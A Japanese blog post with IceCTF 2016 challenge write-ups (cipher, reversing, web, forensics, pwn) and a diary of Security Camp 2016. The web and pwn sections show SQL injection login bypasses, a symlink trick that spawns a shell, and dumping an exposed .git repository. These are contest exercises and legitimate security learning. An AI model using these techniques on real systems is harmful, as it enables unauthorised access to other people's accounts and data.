W'zz by reso dsbdkwksky tzjq teo kly ujr. Teo keujr, gy joy dksurwmq bjdwv vorakeqojalr jmu wkd jaazwvjkwemd. Vorakeqojalr ljd j zemq lwdkeor, jzklesql gwkl kly juxymk et vecaskyod wk ljd qekkym oyjzzr vecazwvjkyu. Decy dwcazy ezu vwalyod joy kly Vjydjo vwalyo, kly Xwqymyoy vwalyo, kly dsbdkwkskwem vwalyo, glwvl wd klwd emy, jmu de em. Jzcedk jzz et klydy vwalyod joy yjdwzr boeiym keujr gwkl kly lyza et vecaskyod. Decy myg ymvorakwem cykleud joy JYD, kly vsooymk dkjmujou teo ymvorakwem, jzemq gwkl ODJ. Vorakeqojalr wd j xjdk twyzu jmu wd xyor wmkyoydkwmq klesql. De iwvi bjvi, oyju sa em decy veez vwalyod jmu ljxy tsm!

El jmu teo reso oyveoud cr mjcy wd WvyVKT{jzgjrd_zwdkym_ke_reso_dsbdkwksky_tzjqd}.

単一換字式暗号ぽい。

とりあえず、WvyVKT=IceCTFだったり、Gyzvecy keWelcome toのような気がする、とかW'zzWIなことは解っているいるので、I'◯◯となるのはI'llしか当てはまらないな、等のことを考えながら人力で頑張る。

復号化したものはこちら

Hi!

Welcome to IceCTF!

I'll be your substitute flag for the day. For today, we are studying basic cryptography and its applications. Cryptography has a long history, although with the advent of computers it has gotten really complicated. Some simple old ciphers are the Caesar cipher, the Vigenere cipher, the substitution cipher, which is this one, and so on. Almost all of these ciphers are easily broken today with the help of computers. Some new encryption methods are AES, the current standard for encryption, along with RSA. Cryptography is a vast field and is very interesting though. So kick back, read up on some cool ciphers and have fun!

Oh and for your records my name is IceCTF{always_listen_to_your_substitute_flags}.

FLAG:IceCTF{always_listen_to_your_substitute_flags}

IRC I (Misc) - 35pt

IRCクライアント(使ったのはirssi)とかでglitch.is:6667に繋いだら、チャンネルのコメントのとこに旗書いてあった。

FLAG:IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}

Alien Message (Cryptography) - 40pt

alien lettersでggったら下のFuturama Alien Alphabet Oneというフォントがでてきた

http://www.fonts2u.com/futurama-alien-alphabet-one.font

これやんけ.....

表と照らしあわせて旗出てきた

FLAG:IceCTF{good_n3wz_3veryon3_1_l1k3_fu7ur4ma_4nd_th3ir_4maz1ng_3as7er_39g5}

これCryptoなの.....

Time Traveler (Forensics) - 45pt

archive.orgでtime-traveler.icec.tf調べたら今年の6/1での記録が残ってた。

見たら旗書いてあった。

FLAG:IceCTF{Th3y'11_n3v4r_f1|\|d_m4h_fl3g_1n_th3_p45t}

Scavenger Hunt (Misc) - 50pt

いろいろ調べていたところGitHubのIceCTF orgにicec.tfのランディングページのソースが上がってた。 https://github.com/IceCTF/ctf-landing

リポジトリ内検索でIceCTFとかで検索したところ、/icectf/templates/sponsors.html内に、

...
         <div class="card-image waves-effect waves-block waves-light black">
           <img class="activator" src="/static/images/logos/syndis.png" alt="IceCTF{Y0u_c4n7_533_ME_iM_h1Din9}">
         </div>
....

とあり旗があった。

実際のhttps://icec.tf/sponsorsにもちゃんとある。

f:id:taiyoslime:20160827205608p:plain

FLAG:IceCTF{Y0u_c4n7_533_ME_iM_h1Din9}

Complacent (Reconnaissance) - 40pt

HTTPSで繋がるんだけどこの接続ではプライバシーが保護されませんChromeお決まりのやつがでてくる。

サーバー証明書みたらおもいっきり書いてあった

f:id:taiyoslime:20160827205633p:plain

FLAG:IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}

Hidden in Plain Sight (ReverseEngineering) - 45pt

調べたら32-bitのELFだった。

objdumpして眺めてたら

....
804851b:        b0 49                   mov    al,0x49
804851d:        b0 63                   mov    al,0x63
804851f:        b0 65                   mov    al,0x65
8048521:        b0 43                   mov    al,0x43
8048523:        b0 54                   mov    al,0x54
8048525:        b0 46                   mov    al,0x46
8048527:        b0 7b                   mov    al,0x7b
8048529:        b0 6c                   mov    al,0x6c
804852b:        b0 6f                   mov    al,0x6f
804852d:        b0 6f                   mov    al,0x6f
804852f:        b0 6b                   mov    al,0x6b
8048531:        b0 5f                   mov    al,0x5f
8048533:        b0 6d                   mov    al,0x6d
8048535:        b0 6f                   mov    al,0x6f
8048537:        b0 6d                   mov    al,0x6d
8048539:        b0 5f                   mov    al,0x5f
804853b:        b0 49                   mov    al,0x49
804853d:        b0 5f                   mov    al,0x5f
804853f:        b0 66                   mov    al,0x66
8048541:        b0 6f                   mov    al,0x6f
8048543:        b0 75                   mov    al,0x75
8048545:        b0 6e                   mov    al,0x6e
8048547:        b0 64                   mov    al,0x64
8048549:        b0 5f                   mov    al,0x5f
804854b:        b0 69                   mov    al,0x69
804854d:        b0 74                   mov    al,0x74
804854f:        b0 7d                   mov    al,0x7d
....

ていう明らかに怪しいとこを発見したので、文字列にしたら旗だった

FLAG:IceCTF{look_mom_I_found_it}

Toke (Web) - 45pt

とりあえずRegisterでユーザーとパスワードを登録してログインしてみると、toke.vuln.icec.tfからsessionjwt_tokenCookieが降ってくる。

jwt_tokenについてはこれ:https://jwt.io

例えば

username=>ponponpainpassword=>ponponpainの時、

jwt_token => eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoicG9ucG9ucGFpbiIsImZsYWciOiJJY2VDVEZ7alc3X3QwSzNuc180UmVfbk9fcDE0Q0VfZk9SXzUzQ3JFN1N9In0.ng6_isibsJjhVawjyltJbQQqhCDEeBbHw6C9518a2-I

という感じになるが、.で区切って前からbase64でデコードして

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -D
{"typ":"JWT","alg":"HS256"}

$ echo eyJ1c2VyIjoicG9ucG9ucGFpbiIsImZsYWciOiJJY2VDVEZ7alc3X3QwSzNuc180UmVfbk9fcDE0Q0VfZk9SXzUzQ3JFN1N9In0 |  base64 -D
{"user":"ponponpain","flag":"IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}

FLAG:IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}

Flag Storage (Web) - 50pt

リンク先に行ったらログインフォームがあった。 問題文に、WikipediaのSQLiのページが貼り付けてあったのでSQLiすることは間違いないみたいだけど

ブラウザ側で

....
var updatePassword = function(e){
    var sha = new jsSHA("SHA-256", "TEXT");
    sha.update($(this).val());
    $("#password").val(sha.getHash("HEX"));
};
$("#password_plain").on("change", updatePassword);
$("#form").on("submit", updatePassword);
....

みたいののが動いているし、usernamepassword_plainpassword(password_plainにSHA-256をかけたhidden要素)の3つをpostしてるのが分かった。

あとは

Username => ' OR 1=1 -- Password => ' OR 1=1 --

とか適当にフォームに入れたあとBurpとかで見てあげると、password => e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 になってるので、Paramsタブで' OR 1=1 --に変えてリクエスト送ったところ旗取れた

FLAG:IceCTF{why_would_you_even_do_anything_client_side}

RSA? (Cryptograhpy) - 50pt

N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd

e=0x1

c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d

e = 0x1 っていう結局暗号化できてないアレ

FLAG:IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}

Demo (Pwn) - 55pt

ソースコードはこんな感じ

$ cat demo.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <libgen.h>
#include <string.h>
void give_shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    if(strncmp(basename(getenv("_")), "icesh", 6) == 0){
        give_shell();
    }
    else {
        printf("I'm sorry, your free trial has ended.\n");
    }
    return 0;
}

strncmpは文字列比較の関数。

とりあえず簡単に言えばbasename(getenv("_")) の先頭が"icesh"であればよい。

getenvは環境変数を取得する、basenameはshellのbasenameとほぼ変わらない。

$_ は特別な変数で、スクリプトのファイル名かそれの引数が次々と入っていく(口での説明がうまくできない....)

なのでそれをうまく使い、シンボリックリンクをはって$_に入るものを調整する

$ mkdir /tmp/taiyoslime && cd /tmp/taiyoslime
$ ln -s /home/demo/demo ./icesh && ./icesh

という感じで権限いただけたので

$ cat /home/demo/flag.txt
IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

FLAG:IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

Thor's a hacker now (Misc) - 55pt

txtが降ってきた

$ head thor.txt
00000000: 4c5a 4950 01b3 007f b61b edf0 8440 58e3  LZIP.........@X.
00000010: 91de 1027 5861 8a67 4282 46a4 92f9 4cad  ...'Xa.gB.F...L.
00000020: 2d5d 14eb 3099 2c31 01c2 d13a 74d2 c620  -]..0.,1...:t..
00000030: de27 3a8f fa92 0644 5468 2d02 01fa 24bb  .':....DTh-...$.
.....

これをとりあえずバイナリとして書き出さないといけない。LZIPぽいけど。

Rubyを適当に書いて、outへと書き出す。

fin = File::open("thor.txt","r+")
fout = File::open("out","w+")
fin.each_line{ |l| l.split(" ")[1..8].each{ |e| fout.write([e].pack("H*"))}}
$ file out
out: lzip compressed data, version: 1

やっぱり

$ lzip -d out

$ file out.out
out.out: JPEG image data, JFIF standard 1.01

画像開いたら旗あった。

FLAG:IceCTF{h3XduMp1N9_l1K3_A_r341_B14Ckh47}

Exposed! (Web) - 60pt

John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag?

NginxとPHPとGitが使われてるのだろうか

とりあえずサイトに飛んだところ特に何もなかったので/robots.txtにアクセスしたところ

User-Agent: *
Disallow: /.git
Disallow: /flag.php

という記述を見つける。 まさかとは思ったが念のため/flag.phpにアクセスしたころ空のpタグがあったため、ここに旗入ってたのかなと考えた /.git/は403帰ってきたけど/.git/HEADだとちゃんとref: refs/heads/masterとか落ちてくるので確かにあるっぽい

$ git clone http://exposed.vuln.icec.tf/.git/して現状のファイル眺めてると、flag.php

....
<p>
    <?php
        echo @file_get_contents('flag.txt');
        ?>
</p>
....

というのを発見するのでログ眺める

$ git log
....

commit 5ea13398f975b53ff30b7ea162b2ec6897a48c68
Author: James Sigurðarson <jamiees2@gmail.com>
Date:   Wed Aug 10 21:45:11 2016 +0000

   remove flag

commit 584ae8349fe51e2cb25e11347003c11e92f88c74
Author: James Sigurðarson <jamiees2@gmail.com>
Date:   Wed Aug 10 21:41:33 2016 +0000

    flag route

....
$ git checkout 584ae8349fe51e2cb25e11347003c11e92f88c74

$ cat flag.txt
IceCTF{this_isnt_the_flag_either}

違うんかい

git diffで少しずつ遡っていったら3,4コミット前のindex.htmlに直書きされてた

FLAG:IceCTF{secure_y0ur_g1t_repos_pe0ple}

早とちりは良くない

Miners! (web) - 65pt

ログインフォームがあるのだが、コードもあった

.....
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($con, $query);
if (mysqli_num_rows($result) !== 1) {
  echo "<h1>Login failed.</h1>";
} else {
  echo "<h1>Logged in!</h1>";
.....

' union select 1, 2, 3 #とかでいい感じなもの投げるだけ。

FLAG:IceCTF{the_miners_union_is_a_strong_one}

Kitty (Web) - 70pt

adminのパスワードのハッシュc7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1aだけ与えられている。

これが判ればログイン可能ぽいのでSHA-256でdecryptしてみたところVo83*となった。

これはフォームのValidationにある[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]とも一致するので合ってるだろうということで

username: "admin", password: "Vo83*"な感じで入力したところ旗降ってきた

FLAG:IceCTF{i_guess_hashing_isnt_everything_in_this_world}

Corrupt Transmission (Forensics) - 50pt

画像ファイルっぽいのだが「ファイルが破損して開けない」とのこと。

$ hexdump -C corrupt.png | head
00000000  90 50 4e 47 0e 1a 0a 1b  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 01 f4 00 00 01 98  08 06 00 00 00 b4 e0 10  |................|
00000020  ab 00 00 00 06 62 4b 47  44 00 ff 00 ff 00 ff a0  |.....bKGD.......|
00000030  bd a7 93 00 00 00 09 70  48 59 73 00 00 0b 13 00  |.......pHYs.....|
00000040  00 0b 13 01 00 9a 9c 18  00 00 00 07 74 49 4d 45  |............tIME|
00000050  07 e0 06 14 03 14 08 a8  98 65 74 00 00 20 00 49  |.........et.. .I|
00000060  44 41 54 78 da 54 bc d9  8e 6c 59 7a df f7 5b f3  |DATx.T...lYz..[.|
00000070  1e 62 ca e9 4c 55 5d 5d  d5 cd a6 9a 14 4d 19 be  |.b..LU]].....M..|
00000080  90 61 5a 80 75 c5 27 31  a0 2b df fb 45 64 3f 85  |.aZ.u.'1.+..Ed?.|
00000090  21 08 b0 61 03 32 0c d8  20 4c 08 54 d3 12 48 91  |!..a.2.. L.T..H.|

もしpngファイルならばマジックナンバーがまずおかしいのだが、背景色のbKGDピクセル物理サイズのpHYs、最終更新日時のtIME等を見るとpngで間違いないようだ。

まず先頭の4bitを 90 50 4e 47 => 89 50 4E 47 に直す

かつ、0e 1a 0a 1bDOS <=> UNIXの行末検知だったりがあるがこれも壊れているので

0e 1a 0a 1b => 0d 0a 1a 0a に直す

これらのヘッダの直後にIHDRが来るはずであり、00 00 00 0d 49 48 44 52....と続いているのでこれは問題ない。

修正後のファイル

$ hexdump -C corrupt.png | head
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
......

$ file corrupt.png
corrupt.png: PNG image data, 500 x 408, 8-bit/color RGBA, non-interlaced

以上の修正で画像ファイルが無事開けた。 画像に旗書いてあった

FLAG:IceCTF{t1s_but_4_5cr4tch}

Vape Nation (Stego) - 50pt

問題文にGo Green!とあるので、stegsolveで見てあげたらでてきた

FLAG:IceCTF{420_CuR35_c4NCEr}

Blue Monday (Misc) - 60 pt

$ file blue_monday
blue_monday: Standard MIDI data (format 1) using 1 track at 1/220

fileかけたらStandard MIDIであることが判明したのでとりあえずGarage Bandで見てみる

f:id:taiyoslime:20160827205705p:plain

お世辞でもいい曲とは言えない

直感で音の高さが文字コードと対応しててフラグになるっぽいのでさっさとSMFのデータ読む

$ hexdump blue_monday_ff0973317ee7c2df4225f994ad49bb4075546b9f20eb22bbc636be910f628bfd.midi
0000000 4d 54 68 64 00 00 00 06 00 01 00 01 00 dc 4d 54
0000010 72 6b 00 00 01 be 00 90 49 64 81 5c 80 49 00 00
0000020 90 63 64 81 5c 80 63 00 00 90 65 64 81 5c 80 65
0000030 00 00 90 43 64 81 5c 80 43 00 00 90 54 64 81 5c
0000040 80 54 00 00 90 46 64 81 5c 80 46 00 00 90 7b 64
0000050 81 5c 80 7b 00 00 90 48 64 81 5c 80 48 00 00 90
0000060 41 64 81 5c 80 41 00 00 90 63 64 81 5c 80 63 00
0000070 00 90 6b 64 81 5c 80 6b 00 00 90 31 64 81 5c 80
0000080 31 00 00 90 6e 64 81 5c 80 6e 00 00 90 39 64 81
0000090 5c 80 39 00 00 90 5f 64 81 5c 80 5f 00 00 90 6d
00000a0 64 81 5c 80 6d 00 00 90 55 64 81 5c 80 55 00 00
00000b0 90 35 64 81 5c 80 35 00 00 90 49 64 81 5c 80 49
00000c0 00 00 90 63 64 81 5c 80 63 00 00 90 5f 64 81 5c
00000d0 80 5f 00 00 90 57 64 81 5c 80 57 00 00 90 31 64
00000e0 81 5c 80 31 00 00 90 37 64 81 5c 80 37 00 00 90
00000f0 68 64 81 5c 80 68 00 00 90 5f 64 81 5c 80 5f 00
0000100 00 90 6d 64 81 5c 80 6d 00 00 90 49 64 81 5c 80
0000110 49 00 00 90 44 64 81 5c 80 44 00 00 90 31 64 81
0000120 5c 80 31 00 00 90 35 64 81 5c 80 35 00 00 90 5f
0000130 64 81 5c 80 5f 00 00 90 4c 64 81 5c 80 4c 00 00
0000140 90 33 64 81 5c 80 33 00 00 90 74 64 81 5c 80 74
0000150 00 00 90 35 64 81 5c 80 35 00 00 90 5f 64 81 5c
0000160 80 5f 00 00 90 48 64 81 5c 80 48 00 00 90 34 64
0000170 81 5c 80 34 00 00 90 76 64 81 5c 80 76 00 00 90
0000180 45 64 81 5c 80 45 00 00 90 5f 64 81 5c 80 5f 00
0000190 00 90 61 64 81 5c 80 61 00 00 90 5f 64 81 5c 80
00001a0 5f 00 00 90 72 64 81 5c 80 72 00 00 90 34 64 81
00001b0 5c 80 34 00 00 90 76 64 81 5c 80 76 00 00 90 33
00001c0 64 81 5c 80 33 00 00 90 7d 64 81 5c 80 7d 00 87
00001d0 68 ff 2f 00
00001d4

ヘッダセクションは4d 54 68 64 00 00 00 06 00 01 00 01 00 dcのみで 4d 54 68 64 => フォーマット識別子 00 00 00 06 => データ長 00 01 => フォーマットタイプ 00 01 => トラック数 00 dc => 時間単位(4分あたりの分解能)

を表している

直後の4d 54 72 6bが1データセクションの始まりで、最後のff 2f 00がトラックの終わりを表す。

今回は一つしかトラックがないので1セットしか存在しない。

4d 54 72 6bの直後の00 00 01 beはデータ長を表してる。

以降の構成は基本

00 90 49 64 => 待ち時間,ノートオンのコマンド(0x90)},{ノートナンバー},音量(ベロシティ値) 81 5c 80 49 00 => 待ち時間(可変長),ノートオフコマンド(0x80),ノートナンバー,音量(ベロシティ値) となっており、

綺麗に並べると

00 90 49 64 81 5c 80 49 00
00 90 63 64 81 5c 80 63 00
00 90 65 64 81 5c 80 65 00
00 90 43 64 81 5c 80 43 00
00 90 54 64 81 5c 80 54 00
00 90 46 64 81 5c 80 46 00
00 90 7b 64 81 5c 80 7b 00
00 90 48 64 81 5c 80 48 00
00 90 41 64 81 5c 80 41 00
00 90 63 64 81 5c 80 63 00
00 90 6b 64 81 5c 80 6b 00
00 90 31 64 81 5c 80 31 00
00 90 6e 64 81 5c 80 6e 00
00 90 39 64 81 5c 80 39 00
00 90 5f 64 81 5c 80 5f 00
00 90 6d 64 81 5c 80 6d 00
00 90 55 64 81 5c 80 55 00
00 90 35 64 81 5c 80 35 00
00 90 49 64 81 5c 80 49 00
00 90 63 64 81 5c 80 63 00
00 90 5f 64 81 5c 80 5f 00
00 90 57 64 81 5c 80 57 00
00 90 31 64 81 5c 80 31 00
00 90 37 64 81 5c 80 37 00
00 90 68 64 81 5c 80 68 00
00 90 5f 64 81 5c 80 5f 00
00 90 6d 64 81 5c 80 6d 00
00 90 49 64 81 5c 80 49 00
00 90 44 64 81 5c 80 44 00
00 90 31 64 81 5c 80 31 00
00 90 35 64 81 5c 80 35 00
00 90 5f 64 81 5c 80 5f 00
00 90 4c 64 81 5c 80 4c 00
00 90 33 64 81 5c 80 33 00
00 90 74 64 81 5c 80 74 00
00 90 35 64 81 5c 80 35 00
00 90 5f 64 81 5c 80 5f 00
00 90 48 64 81 5c 80 48 00
00 90 34 64 81 5c 80 34 00
00 90 76 64 81 5c 80 76 00
00 90 45 64 81 5c 80 45 00
00 90 5f 64 81 5c 80 5f 00
00 90 61 64 81 5c 80 61 00
00 90 5f 64 81 5c 80 5f 00
00 90 72 64 81 5c 80 72 00
00 90 34 64 81 5c 80 34 00
00 90 76 64 81 5c 80 76 00
00 90 33 64 81 5c 80 33 00
00 90 7d 64 81 5c 80 7d 00
87 68

となる。最後の87 68は待ち時間 全部等間隔でおいてあるので綺麗

あとは、上の文字列をstrとして

p str.split("\n").reduce { |ans,el| ans += el.split(" ")[2].to_i(base=16).chr}
# => "IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}"

FLAG:IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}

A Strong Feeling (ReverseEngineering) - 80 pt

64bitのELFが落ちてきた。 Reverse問だからと思って何も考えずアセンブラ読んで解いた

重要っぽいとこだけ抜き出すと

.....
  400ccb:   89 85 6c fe ff ff       mov    DWORD PTR [rbp-0x194],eax
  400cd1:   0f 84 33 0e 00 00       je     401b0a <__gmon_start__@plt+0x165a>
  400cd7:   e9 0c 04 00 00          jmp    4010e8 <__gmon_start__@plt+0xc38>
  400cdc:   8b 85 5c ff ff ff       mov    eax,DWORD PTR [rbp-0xa4]
  400ce2:   2d bc 19 6e ae          sub    eax,0xae6e19bc
  400ce7:   89 85 68 fe ff ff       mov    DWORD PTR [rbp-0x198],eax
  400ced:   0f 84 fe 0a 00 00       je     4017f1 <__gmon_start__@plt+0x1341>
  400cf3:   e9 f0 03 00 00          jmp    4010e8 <__gmon_start__@plt+0xc38>
  400cf8:

  4010fa:   81 fa 49 00 00 00       cmp    edx,0x49
  401100:   0f 45 c1                cmovne eax,ecx
  401103:   89 85 68 ff ff ff       mov    DWORD PTR [rbp-0x98],eax
  401109:   e9 58 0c 00 00          jmp    401d66 <__gmon_start__@plt+0x18b6>
  40110e:   48 bf f4 1d 40 00 00    movabs rdi,0x401df4
  401115:   00 00 00
  401118:   48 63 85 6c ff ff ff    movsxd rax,DWORD PTR [rbp-0x94]
  40111f:   48 8b 34 c5 f0 2c 60    mov    rsi,QWORD PTR [rax*8+0x602cf0]
  401126:   00
  401127:   b0 00                   mov    al,0x0
  401129:   e8 52 f3 ff ff          call   400480 <printf@plt>
  40112e:   c7 45 f8 4e 00 00 00    mov    DWORD PTR [rbp-0x8],0x4e
  401135:   c7 85 68 ff ff ff f2    mov    DWORD PTR [rbp-0x98],0xd14064f2
  40113c:   64 40 d1
  40113f:   89 85 d4 fd ff ff       mov    DWORD PTR [rbp-0x22c],eax
  401145:   e9 1c 0c 00 00          jmp    401d66 <__gmon_start__@plt+0x18b6>
  40114a:   b8 53 a5 50 f0          mov    eax,0xf050a553
  40114f:   b9 a2 96 4c 29          mov    ecx,0x294c96a2
  401154:   31 d2                   xor    edx,edx
  401156:   8b b5 6c ff ff ff       mov    esi,DWORD PTR [rbp-0x94]
  40115c:   81 ea 01 00 00 00       sub    edx,0x1
  401162:   89 f7                   mov    edi,esi
  401164:   29 d7                   sub    edi,edx
  401166:   89 bd 6c ff ff ff       mov    DWORD PTR [rbp-0x94],edi
  40116c:   4c 63 c6                movsxd r8,esi
  40116f:   42 0f be 94 05 70 ff    movsx  edx,BYTE PTR [rbp+r8*1-0x90]
  401176:   ff ff
  401178:   81 fa 63 00 00 00       cmp    edx,0x63
  40117e:   0f 45 c1                cmovne eax,ecx
  401181:   89 85 68 ff ff ff       mov    DWORD PTR [rbp-0x98],eax
  401187:   e9 da 0b 00 00          jmp    401d66 <__gmon_start__@plt+0x18b6>
  .......

こんな感じの文字列比較で条件分岐をしているやつが無限に続くだけなのでうまく抽出して旗取った。

FLAG:IceCTF{pip_install_angr}

あ.....これもしかしてangrでシンボリック実行していい感じに条件の文字列を炙り出せってことだったの........ ......

感想とか

次こそは

#seccamp ’16 全国大会 参戦記

8/8 ~ 8/13までIPA経産省が主催する セキュリティ・キャンプ2016 全国大会 に参加してきた。

かなり勢いに任せて短時間で書いてしまったところがあり推敲とかしてないですが、某 顔を模した本の会社の偉い人がDone is better than perfect.なることを言っていた気がしたりしなかったりするので上げます。

DAY 0 - 8/8

前泊のため1日前から長野を出て特急あずさで新宿に向かった。寝てて気づかなかったけど到着が1時間ぐらい遅れたらしい。

ホテルのインターネット環境が基本有線なのと 講義でも使うということだったので、海浜幕張駅に着いてからバスで幕張イオンモールに移動して Thunderbolt to Ethernet アダプタを購入した。

この近辺バスが充実していて無料で駅からモールまで移動できた。


21:30過ぎくらいに会場に到着した。


ホテルはここに5日間泊めさせてもらってもいいのか…?というぐらい居心地がよく快適に過ごせた。ポットや空気清浄機もあり初日はそれらと戯れてた。お茶美味しかった。

これ正しくは Mbit/s です(目がついていなかった)

DAY 1 - 8/9

7:30ぐらいに起きて、前泊組の方たちと朝食をとったあとは部屋でゴロゴロしていた。



そろそろ参加者がちらほら到着しただろうという頃合いを計ってのそのそ部屋から出て下に降りると、既に多くの方が名刺交換を始めており一気に眼が覚めた。

昼食をとり、開講式があったところで初めての講義が始まった。

まず、共通講義としてセキュリティの基礎を学び、そのあと特別講義として最前線で活躍されている2名の方のお話を伺った

Cyber Defense Instituteの福森さんから「ZENIGATAになりたくて」

福森さん「Binaryできる人間はWebもだいたいできるけど、Web専門の人でBinaryできる人はなかなかいない」

精進せねば…..。

JC3の間仁田さんから「サイバー犯罪の実態とこれに対処するための取組」

セキュリティに対する具体的な警察の取り組みはあまり認知されていない気がして非常に面白かった。

コンビニツアー

キャンパーの外出は一日の終わりにコンビニにいくこと以外は許可されていなかった。

しんさくさんが「コンビニのレジにDDoSやめろ」と言っていたのが一番面白かった。

この日を最後にキャンプ終了まで外気に触れることはなかった。

DAY 2 - 8/10

この日から専門講義が始まった。

1-A HTTPプロキシ発展

Burp Suiteはブラウザやスマホ、サーバーからの通信を中継し解析・改変するLocalProxyツールの一つで、今回は主にこれを講義で使った。

まずは基本的なProxy,Repeater,Extender等のタブの使い方を学び事前課題のをおさらいをした後、Burp Extenderと呼ばれるBurpの拡張機能Javaで書いた。

選択肢としてはJythonJRubyでもできるのだが、今回はおとなしくJavaを書くことにしたが案の定とても辛かった。
Proxy画面でタブを一個増やし、base64で暗号化された通信を自動でデコードし、改変したリクエストを自動でエンコードして送るというプラグインを作った。

そして、これを用いてスマホアプリの通信をキャプチャしリクエストを自由に書き換えて脆弱性を突くという演習をする形になった。

今回はキャプチャする上で手元マシンのDNSとHostの設定をする方法をとったのだが、Mac機が私だけだったためfakeDNS.exeを動かすためにmfc42.dll入れてwineで動かしたり、なんかうまくいかないと思ったらMacのFirewallがオンになってたりで満身創痍だった。

Burpについての知見も深まり非常に楽しめた。

2-B 謎マシンでNetBSDのクロス開発体験

NetBSDは、ひとつのソースツリーで少なくとも58以上のアーキテクチャをサポートしているUNIX互換OS

Windows 10上のVMNetBSDを起動させ、そこでRasberryPI用のカーネルをクロスビルドした。

$ cd /usr/src
$ ./build.sh -j 6 -u -U -m evbarm -a earmv6hf tools
$ ./build.sh -j 6 -u -U -m evbarm -a earmv6hf kernel=RPI

結構時間かかるので気長に待ったあと、できたnetbsd.binをRPI用のメモリカードのの/boot/kernel.imgに書き込んでカーネルをアップデートする。(後に調べたところ、このあたりに詳しく乗っている:https://wiki.netbsd.org/ports/evbarm/raspberry_pi/

HDMIとUSBキーボード・マウス、LANケーブルをさしてRPIを起動して
勝手にメモリカードがのルートパーティションを自動調整するので待った(結構時間がかかった)ところ、NetBSDが無事起動した。

startxicewmを起動してそのあとmikutterを起動した。Rubyの通信のためにNetBSDのセキュリティ機構を切る必要があった。

mikutterや柚子胡椒ステッカーだったりを頂きました。

CTF

形式はJeopardyでもなくAttack & Defenseでもなく、一台のRPIへ接続して問題を解いていくという形式だった。
最初チームはひたすらブラウザ(80)のみを見ていたがnmapしたらあと4つぐらいポートが開いてて言葉にできない感情が沸いてきた。
それに時間かけた割にWebが1問も溶けなかったは痛かった。

確かチームは5位だったのだが経験不足が露呈する感じになってしまった。

DAY 3 - 8/11

3-A Webアプリケーションの脆弱性の評価と発見

前半では、脆弱性の発見のメソッドやTipsを学び 実際のサイボウズで使われていた製品の脆弱性を検証したりした(詳細は公開できませんが)

また、脆弱性評価システムのCVSS v3という手法を実際に手を動かしながら学んだ。(https://www.ipa.go.jp/security/vuln/CVSS.html)

これは幾つかの評価基準に基づき脆弱性の脅威を算出するという方法で
今回は基本評価基準 (Base Metrics)、現状評価基準 (Temporal Metrics)、環境評価基準 (Environmental Metrics)のうち、脆弱性を公表する組織がその脆弱性の深刻度を表すために評価する基準である基本評価基準を計算した(計算はめんどくさいので便利Webツールを使う)。

基本評価基準では幾つかの評価基準となる項目と、それぞれの項目に対応する選択肢が用意されている。

評価基準となる項目は

  • 攻撃元区分 ( ローカル / 隣接 / ネットワーク )
  • 攻撃の複雑さ ( 高 / 中 / 低 )
  • 攻撃前の認証可否 ( 複数 / 単一 / 不要 )
  • 機密性への影響 ( なし / 部分的 / 全体的 )
  • 完全性への影響 ( なし / 部分的 / 全体的 )
  • 可用性への影響 ( なし / 部分的 / 全体的 )

となり、これらの評価値を計算して指標とする。

複雑さ等、主観的な要素が入ってしまうのではないかと最初考えたが、組織内で明確な分類基準を作っておけば問題ないようだ。

実際にあった脆弱性に対して具体的に評価を行い、内容はここでは伝えることはできないが脆弱性評価において実践的な体験をすることができた。

4-C オンラインゲームアタック&ディフェンスチャレンジ

Capture the Frog!(カエルを捕まえろ!)という用意されたNode+Websocketで実装されたWebオンラインゲームの運営とプレイヤーに分かれてAttack & Defense形式の競技をした。

プレイヤー側は操作を自動化したり脆弱性を突いてアカウントを効率よく育て、運営側は脆弱性の修正や不正アカウントのBAN(但し時間での回数制限あり)を行う必要がある。

私は2回戦ともプレイヤー側として参加した。

あった脆弱性・バグとしては
実際の「盤上を1マスずつ動いて前後左右のカエルを捕まえレベルを上げていく」というルールに対して

  • levelupイベントをサーバーに直接emitすると無条件でレベルがあがる。
  • キャラクターの移動は前後1マスずつであるが、任意の位置に移動することができる
  • 捕まえるカエルの位置情報さえ判れば無条件に捕まえられる。

あと個人的に思ったことは

  • マップやキャラクターの情報を持つオブジェクト、その他関数全部がグローバルに展開されている。

ということがあった。

これらは1回戦で大方修正されたため

